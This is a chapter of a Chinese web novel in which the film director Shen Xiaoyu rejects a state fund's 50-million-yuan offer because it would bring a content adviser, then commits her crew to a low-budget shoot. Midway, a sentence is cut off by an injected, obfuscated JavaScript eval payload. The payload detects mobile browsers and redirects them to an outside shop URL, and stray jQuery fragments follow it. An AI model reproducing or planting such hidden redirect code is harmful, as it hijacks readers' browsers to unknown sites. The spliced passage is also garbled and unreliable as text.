“战时状态”启动的第五天，那个意想不到的访客到来了——
国家文化产业投资基金（简称“国文投”）的副总裁，姓谭。
沈小鱼在集装箱改装的指挥部里见到他时，谭总正环视着这间简陋的办公室：
墙壁是裸露的铁皮，办公桌是废弃的木板拼的，唯一算得上“家具”的是几张从废品站淘来的旧椅子。
“谭总，您好。”沈小鱼握手，手上还有刚才搬器材时蹭的灰。
“叫我老谭就行。”
谭总坐下，开门见山，“沈导，《野草》的事，我们听说了。八大公司的联合封杀，我们也看到了。”
他从公文包里拿出那份《投资意向书》，推到沈小鱼面前。
沈小鱼翻开，瞳孔微微一缩。
投资金额：五千万人民币。
投资形式：股权+债权。
特别条款：国文投将协调解决《野草》全部上映资质、排片渠道及宣传资源。
附加承诺：确保电影至少进入三个国际A类电影节竞赛单元。
条件优厚得近乎梦幻。
尤其是“协调解决全部上映渠道”这一条——
等于直接撕碎了八大公司的□□。
沈小鱼合上文件，抬头：“谭总，为什么？”
“三个原因。”
谭总伸出三根手指，“第一，你们做的事，符合国家文化产业‘提质增效、鼓励原创’的战略方向。第二，你们遇到的阻力，已经超出正常商业竞争范畴，变成了一种行业垄断和打压。第三——”
他看着她，眼神真诚：
“我个人欣赏你。在全国会议上的发言，我看了三遍。那个《桥洞下的莎士比亚》，让我这个干了二十年文化投资的老家伙，掉了眼泪。”
沈小鱼沉默。
谭总继续说：“我知道你们现在资金缺口大，拍摄条件艰苦。这五千万，可以立刻到账。国文投的资源，可以保证《野草》一路绿灯。甚至……”他压低声音，“我们可以帮你，反制那八家公司。他们在税务、版权、上市合规方面的把柄，我们手里都有一些。”
这是一个巨大的诱惑。
不仅是钱，是生路，是武器，是反杀的可能。
沈小鱼的手指，在投资意向书的封面上轻轻摩挲。
冰凉的铜版纸，烫金的Logo，代表着一种至高无上的权力和认可。
有了它，《野草》将不再是孤军奋战的野草，而是被国家认证的“良种”。
但她脑海里，却浮现出三天前视频里父亲攥着药瓶的、骨节分明的手，和母亲那句“这是咱们家……最后的家底了”。
那一百一十三万七千四百块，是父母在人生废墟里扒拉出来的砖石。
而现在摆在她面前的五千万，是另一座废墟的砖石——这座废墟的名字，叫“妥协”。
会议室里很安静，能听见墙上挂钟的滴答声，那是从废品站五块钱淘来的旧钟，走时不准，但还在固执地走着。
良久，沈小鱼开口：“谭总，我能问一个问题吗？”
“请讲。”
“国文投投资《野草》，需要我们付出什么？”
她看着对方的眼睛，“除了股权和债权，还有什么？”
谭总笑了：“沈导果然敏锐。确实，有一个附加条件。”
他翻开意向书最后一页，指着那行小字：
“被投项目需接受国文投派驻的‘艺术与内容顾问’全程指导，确保作品思想性、艺术性、观赏性的统一。”
“顾问是谁？”沈小鱼问。
“我们会派一位资深的内容专家，他有丰富的国际电影节申报经验，也熟悉国内审查尺度。他会帮助你们调整剧本、优化镜头、打磨台词，让《野草》既能保持艺术个性，又能最大程度地符合主流价值导向。”
沈小鱼听懂了。
所谓“顾问”，实则是“内容政委”。他的任务，是把《野草》这株天生反骨的野草，修剪成盆景——
好看，安全，符合所有既定的审美标准。
“如果……我们不接受顾问指导呢？”她轻声问。
谭总脸上的笑容淡了些：“沈导，我直说吧。国文投的钱，不是风投，是战略投资。我们要的不仅是商业回报，更是文化影响力和社会效益。所以，我们必须确保投资的项目，在方向上……不会跑偏。”
他顿了顿，语重心长：
“你还年轻，有冲劲，这是好事。但也要明白，在中国做文化，有些红线不能碰，有些表达需要智慧。顾问不是来限制你，是来保护你，帮你把刀磨得更锋利，同时也给你配个刀鞘——免得伤了自己。”
话说得很体面。
但内核冰冷：要么接受改造，要么继续在荒野里自生自灭。
沈小鱼低下头，看着那份意向书。
五千万。
生路。
国家的认可。
还有反杀旧势力的武器。
所有这些，只需要她点个头，签个字。
她想起母亲视频里的眼睛，想起父亲那句“拍戏，别省钱”，想起许昕说“我不用房车”，想起陆青然熬夜改剧本时通红的眼眶，想起李强和那些不肯走的兄弟。
想起《桥洞下的莎士比亚》里，那个流浪汉老人用错漏百出的发音，念着“生存还是毁灭”。
那是没有被修剪过的声音。
粗糙，真实，有刺。
但那是生命本身的样子。
也想起父亲——
一个被商业规则击垮的男人，余生都活在失败的阴影里。
他教会她最重要的一课，不是如何成功，而是有些失败，比妥协的胜利更值得尊重。
沈小鱼抬起头，把意向书推了回去。
“谭总，谢谢您的好意。”
她说，“但这钱，我不能要。”
谭总愣住了：“为什么？这可是五千万！而且我们还能解决所有渠道问题！你母亲在瑞士的治疗，你父亲的身体，这些钱都能解决！”
“因为代价太大了。”
沈小鱼站起来，走到窗边，看着水泥厂废墟里那些正在用废铁皮搭建场景的志愿者，“《野草》之所以是《野草》，就是因为它长在规则之外，长在无人修剪的荒原。一旦有人开始修剪它，告诉它该往哪边长、该怎么长，它就不再是野草了。”
她转身，看着谭总：
“您说要保护我，给我配刀鞘。但您知道吗？真正的刀，不需要鞘。需要鞘的，从来不是刀，是握刀的人——因为他们怕被刀所伤。”
“而我，”她一字一句，“不怕。”
“我父亲怕过。”
她轻声补充，“他当年做生意，就是太想要那个‘鞘’，太想符合所有人的规则，最后才被人骗，才破产的。他用了半辈子，教会我这个道理——有时候，干净地输，比肮脏地赢，更对得起自己的骨头。”
谭总看着她，像看一个不可理喻的疯子。
很久，他叹了口气，收起意向书：“沈导，我尊重你的选择。但你要知道，拒绝国文投，等于拒绝了唯一一条能正面抗衡八大公司的路。接下来的日子，会非常难。你的父母，你的剧组，都可能因为你的‘干净’，承受更多。”
“我知道。”
沈小鱼笑了，“但难，不代表走不通。我父亲走不通的路，我想试试。用不一样的方式。”
她送谭总到水泥厂门口。
那辆黑色轿车即将驶离时，谭总摇下车窗，最后说了一句：
“沈导，如果……如果你们撑不住了，随时联系我。国文投的门，依然为你开着。你父母……也不该一直过这样的日子。”
“谢谢。”
沈小鱼鞠躬，“但我想，我们不会再见了。至于我父母——等我用干净的方式赢了，我会让他们过上好日子。那种不用向任何人低头的好日子。”
车开走了。
沈小鱼站在碎石路上，看着扬起的尘土，很久。
然后她转身，走回废墟。
陆青然和许昕已经等在那里，脸上写满紧张。
“沈导，谈得怎么样？”陆青然问。
“拒绝了。”沈小鱼说。
“拒……拒绝了？”
陆青然瞪大眼睛，“那可是国文投！五千万！还有渠道！”
“嗯，拒绝了。”
沈小鱼坐下，拿起桌上那瓶喝了一半的、最便宜的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021139|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
矿泉水，拧开，喝了一口，“因为有些胜利，沾了别人的手，就成了别人的功劳。我要的赢，得是我们自己一拳一脚打出来的。这样输了也认，赢了才踏实——才对得起我爸妈在瑞士，守着那点钱，等我回家。”
许昕小声问：“那我们……怎么办？”
沈小鱼看向她，眼神里有种近乎温柔的光芒：“我们按原计划。三千万预算，六十天周期，极限拍摄。”
“可资金缺口……”
“填不上，就不填了。”
沈小鱼说，“我们把所有非核心开支砍到底。剧组所有人，包括我，拍摄期间只拿基本生活费。剩下的钱，全部用在刀刃上。”
她站起来，在白板上写下一行新字：
“拍摄原则：每一分钱，都要变成银幕上的一帧真实。每一帧真实，都是对父母的承诺。”
写完，她扔下笔：
“从明天起，我、陆青然、许昕、李强，我们四个人，成立‘核心攻坚组’。剧本每一场戏，场景每一个角落，表演每一个细节，都要反复磨，磨到不能再省一分钱，也不能再减一分力。”
她看向窗外渐暗的天色，废墟在暮色中像一头沉默的巨兽：
“我们要用三千万，拍出一部值三个亿的电影。”
“不是靠特效，不是靠明星，是靠我们所有人的命。”
“因为这是我们的战争。”
“我们要赢。”
“但必须——”
“干干净净地赢。”
“赢给那些在废墟里，把最后一块砖递给我们的家人看。”
“赢给我爸看——让他知道，这世上，还有不用低头也能走通的路。”
那天晚上，沈小鱼在联盟官网更新了《野草》项目的状态：
“项目状态：孤军深入。
资金缺口：依然巨大。
拍摄条件：极端艰苦。
但我们决定：原计划不变。
因为有些路，只能自己走。
有些仗，必须自己打。
而我们要的胜利，必须烙着我们自己的指纹——
和我父母在瑞士，守着的那点微光的指纹。”
帖子发出后，评论区再次被刷爆。
有人嘲讽：“死要面子活受罪！你父母都那样了，还逞强！”
有人担忧：“没有资金和渠道，拍出来也是仓库片。你爸妈的病等得起吗？”
但更多的人，在留言里写下这样的话：
“沈导，我是做会计的，不懂电影，但我可以捐一个月工资——因为我爸也破产过，我知道那滋味。”
“我是美术生，可以免费帮忙画分镜。我妈也在生病，我懂。”
“我在影视基地做群演，如果需要免费劳动力，我随时到。我爸以前也是小老板，被人骗了，现在开出租。”
“我是程序员，可以帮你们做后期特效，不要钱。就想看到《野草》长出来——看到有人能不用低头，也能赢。”
沈小鱼一条一条看着，没有回复。
但她把每一条留言，都截了图，存进一个叫“微光”的文件夹。
夜深了。
她关掉电脑，走到集装箱外。
废墟已经沉睡，只有零星几盏工作灯还亮着，像荒野里最后的篝火。
她想起谭总临走时说的那句话：“你父母……也不该一直过这样的日子。”
她知道。
所以她更要赢。
要用最干净的方式赢。
因为只有那样赢来的好日子，
她父母住进去，
腰杆才是直的，
梦才是甜的。
而她手里握着的，
不是五千万的投资意向书，
是成千上万个同样在生活废墟里，
不肯低头的普通人，
用信任和期待，
一点点攒起来的光。
这些光，
比任何资本，
都更有力量。
因为她要做的，
不是成为资本的宠儿。
而是成为——
光的容器。
和父母余生的，
脊梁。